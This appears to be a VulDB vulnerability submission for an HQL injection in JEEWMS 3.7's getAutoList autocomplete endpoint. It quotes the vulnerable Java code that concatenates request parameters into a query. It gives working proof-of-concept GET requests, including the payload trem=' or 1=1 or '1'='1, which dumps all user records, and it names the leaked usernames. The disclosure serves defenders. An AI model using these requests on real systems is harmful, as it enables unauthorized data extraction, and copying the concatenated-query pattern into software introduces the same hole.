| 제목 | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| 설명 | JEEWMS v3.7 commonController.getAutoList (自动补全/autocomplete interface) concatenates user-supplied parameters directly into an HQL query without parameterization, allowing authenticated attackers to alter query logic and enumerate arbitrary mapped-entity data.
Vulnerable code (CommonServiceImpl.getAutoList, line 387):
sb.append(" or " + searchField + " like '%" + autocomplete.getTrem() + "%' ");
String hql = "from " + autocomplete.getEntityName() + " where 1!=1 " + sb.toString();
The trem, searchField and entityName request parameters are all attacker-controlled (Spring binds the Autocomplete object directly from the request; trem is only URL-decoded, single quotes are NOT filtered). This is a first-order HQL injection.
Verified live: a request with trem=admin returns 1 user, while trem=' or 1=1 or '1'='1 returns all 5 users in the JSON "rows" array.
PoC:
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=' or 1=1 or '1'='1&curPage=1&maxRows=10
-> response contains all 5 TSUser records (admin, 123, caiwu001, cangku001, yunying001)
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=admin&curPage=1&maxRows=10
-> response contains only 1 record
Vulnerable code: src/main/java/org/jeecgframework/core/common/service/impl/CommonServiceImpl.java:387 |
|---|
| 원천 | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| 사용자 | test996 (UID 101012) |
|---|
| 제출 | 2026. 09. 04. AM 11:58 (1 월 ago) |
|---|
| 모더레이션 | 2026. 10. 11. AM 10:07 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 416561 [erzhongxmu JEEWMS 까지 2026.09.27-W39 Autocomplete CommonServiceImpl.java CommonServiceImpl.getAutoList trem/searchField/entityName SQL 주입] |
|---|
| 포인트들 | 20 |
|---|